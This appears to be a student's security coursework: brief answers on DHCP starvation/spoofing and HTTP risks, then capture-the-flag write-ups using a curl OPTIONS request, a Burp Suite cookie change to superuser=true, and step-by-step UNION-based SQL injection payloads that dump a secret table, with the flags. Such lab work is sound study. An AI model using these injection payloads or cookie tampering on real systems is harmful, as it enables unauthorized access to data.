Q01

1: server discovery, IP lease offer, IP lease request, and IP lease acknowledgement.
2: The four messages are broadcast on Layer 2
3: The discovery can be observed
4:
Starvation attack: An attacker broadcasts large number of DHCP REQUEST messages with spoofed source MAC addresses in order to deplete the DHCP scope.
Spoofing attack: An attacker set up a rogue DHCP server and distribute IP addresses and other TCP/IP configuration settings to the network DHCP clients.
Combination: Once the available number of IP Addresses is depleted by Starvation attack, network attackers can then set up Spoofing Attack to respond to new DHCP requests from network DHCP clients.
5: An attacker would change the Default Gateway IP Address configuration to launch MITM attack.
6: The DHCP snooping's function is to block the illegal DHCP servers on LAN switches. After DHCP Snooping is enabled, clients in the network can only obtain IP addresses from DHCP servers specified by the administrator.

Q02

1: HTTPS uses encrypted channel to transfer data.
2: Because there is no encryption to protect the connection. Everything is sent over the connection in plain text, which means it's vulnerable to snooping and tampering.
3: The data between client and server might be intercepted by MITM attack.
4: In an open WIFI, a hacker can steal your bank and accommodation information, or disguise as someone chatting with you

Q03

Step01: As the page showed, we are requested to use a different method, and the method should be OPTIONS
Step02: All I can remember is that in HTTP request methods, there is a method called OPTIONs
Step03: Use curl to build a OPTIONS HTTP request

```
student@debian:~$ curl -i -X OPTIONS "http://localhost:8081/method.php"
```

Step04: The response

```
HTTP/1.1 200 OK
Date: Thu, 24 Mar 2022 04:39:41 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.2.34
Vary: Accept-Encoding
Content-Length: 528
Content-Type: text/html; charset=UTF-8

<span style='color:blue'>csf2021_{helper-evaluate-mammogram}</span><br/><br/>Sou
rce: <pre>&lt;?php
if ($_SERVER['REQUEST_METHOD'] == 'OPTIONS') {
    print(&quot;&lt;span style='color:blue'&gt;csf2021_{helper-evaluate-mammogr
am}&lt;/span&gt;&lt;br/&gt;&lt;br/&gt;&quot;);
    print(&quot;Source: &lt;pre&gt;&quot; . htmlentities(shell_exec('/bin/cat '
. __FILE__)) . &quot;&lt;/pre&gt;&quot;);
}
else {
    print(&quot;Hm... you don't seem to be using the correct METHOD. Explore yo
ur available OPTIONS.&quot;);
}
?&gt;
```

Answer:

```
csf2021_{helper-evaluate-mammogram}
```

Q04

Step01: Access the page and click “Request Secret”

Step02: Burp Suite captures the POST message


```
POST /admin.php HTTP/1.1
Host: 192.168.10.131:8081
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Origin: http://192.168.10.131:8081
Connection: close
Referer: http://192.168.10.131:8081/admin.php
Cookie: superuser=false
Upgrade-Insecure-Requests: 1

submit=Request+Secret
```

Step03: Send the message to the repeater and modify Cookie

```
POST /admin.php HTTP/1.1
Host: 192.168.10.131:8081
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Origin: http://192.168.10.131:8081
Connection: close
Referer: http://192.168.10.131:8081/admin.php
Cookie: superuser=true
Upgrade-Insecure-Requests: 1

submit=Request+Secret
```

Step04: Get a response

```
HTTP/1.1 200 OK
Date: Sat, 26 Mar 2022 08:23:55 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.2.34
Vary: Accept-Encoding
Content-Length: 1177
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
  <body>

    <form class="form-horizontal" method="POST">
      <input type="submit" value="Request Secret" name="submit">
    </form>

    Welcome Super User! Here is the secret: <span style='color:blue'>
      csf2021_{client-postbox-amid}
```

Answer: csf2021_{client-postbox-amid}

Q05

Step01: **5' union select table_name,1,2 from information_schema.tables #**
to obtain all tables in the database, but get an error about the number of columns

Step02: **5' union select table_name,1,2,3,4 from information_schema.tables #**
After tests, the number of columns is 5, so use

INNODB_SYS_TABLESPACES	1	2
INNODB_SYS_INDEXES	1	2
INNODB_BUFFER_PAGE	1	2
INNODB_SYS_VIRTUAL	1	2
user_variables	1	2
INNODB_TABLESPACES_ENCRYPTION	1	2
INNODB_LOCK_WAITS	1	2
THREAD_POOL_STATS	1	2
superheroes	1	2
secret	1	2

Step03:
5' union select table_name, column_name, 1, 2, 3 from information_schema.columns where table_name= 'secret' #
Getting the columns from secret

Name>	Gender	Alignment
Brainiac 5	Male	good
secret	id	1
secret	secret	1

Step04: **5' union select id, secret,1,2,3 from secret #**
Steal the secret from the database

Name>	Gender	Alignment
Brainiac 5	Male	good
1	csf2022_{armory-chatter-conceal}	1

Answer: csf2022_{armory-chatter-conceal}